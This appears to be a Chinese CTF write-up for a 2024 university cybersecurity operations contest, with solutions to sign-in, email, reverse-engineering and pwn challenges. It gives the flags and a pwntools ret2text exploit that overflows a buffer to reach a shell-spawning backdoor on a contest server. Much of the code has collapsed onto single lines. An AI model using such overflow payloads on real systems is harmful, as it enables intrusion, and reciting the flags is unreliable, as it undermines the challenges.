2024高校网络安全管理运维赛题目--复现+题目+wp

ops/2024/10/19 7:37:18/

比赛官网

部分writeup

Signin
如图所示GIF提取，然后简单的ROT13
flag{welcome-to-signin-quiz}

邮件
----如图所示简单的base64

邮件flag{WeLCoMeto}

邮箱flag{phishHUntInG}

Babyre
解析：放到IDA分析，看伪代码

得到AncsA6gXMSMoMqIuNCMuxaYuAGIavC9=关键字符转
分析得到是类似base64的加密但又不完全是
写python代码对关键字符串处理，

def reverse_alnum(input_str):result = []for char in input_str:if char.isalpha():# 大写字母A-Z替换为Z-Aif char.isupper():result.append(chr(90 - (ord(char) - 65)))# 小写字母a-z替换为z-aelse:result.append(chr(122 - (ord(char) - 97)))elif char.isdigit():# 数字1-9替换为9-1if char != '0':result.append(str(9 - int(char) + 1))else:result.append('0')  # 0保持不变else:# 非字母数字字符保持不变result.append(char)return ''.join(result)# 示例
input_str = input("请输入一个包含英文字符和数字的字符串：")
output_str = reverse_alnum(input_str)
print("替换后的字符串为：", output_str)

最后base64解密
答案flag{B4se64_1s_s0_e4sy}

在这里插入图片描述

Pwn
解释：看代码呀
构造输入的内容溢出然后ret到后门函数(简单的ret2text)
答案：flag{kOoD1EijiemeePh8IeNei2XOL8ich5de}

from pwn import *
#context(os='linux',arch='amd64',log_level='debug')
#p=process('./pwn')
elf=ELF('./pwn')
libc = ELF('libc.so.6')
p=remote("prob07.contest.pku.edu.cn",10007)
#gdb.attach(p, 'b *0x40121d')bin_sh_address_chuancan=0x40117aret = 0x40121eoffset=0x78payload1=b'31:MEQCIHOFrdjB9js6X862TKy0BVBCbHCJyY9DFzfczTllh8GuAiA7m5orfJ0SRZt6xI_ZEE__jRp8V9V8YIP13k61RG9quw=='
p.sendline(payload1)payload2=b'a'*offset + p64(bin_sh_address_chuancan)
p.sendlineafter(b'Enter your username: ',payload2)
p.sendline(payload2)
#pause()
p.interactive()